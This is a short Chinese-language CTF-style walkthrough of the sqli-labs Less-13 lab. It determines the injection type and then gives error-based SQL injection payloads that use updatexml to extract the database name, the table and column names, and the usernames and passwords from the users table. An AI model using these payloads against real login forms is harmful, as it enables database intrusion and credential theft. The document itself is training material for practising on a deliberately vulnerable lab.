原理及姿势参考:[网络安全]SQL注入原理及常见攻击方法简析
Less-13与Less-12类似,具体原理不再赘述。
攻击姿势可参考本专栏Less-5:[网络安全]sqli-labs Less-5 解题详析
判断注入类型
输入1'
,回显如下:
可知注入类型为单引号+括号注入
判断注入点个数
由上下两张图回显可知,注入点个数为2
查库名
1') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
查表名
1') union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#
查users表的列名
1') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#
查字段
1') and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#
总结
以上为[网络安全]sqli-labs Less-13 解题详析,后续将分享[网络安全]sqli-labs Less-14 解题详析
我是秋说,我们下次见。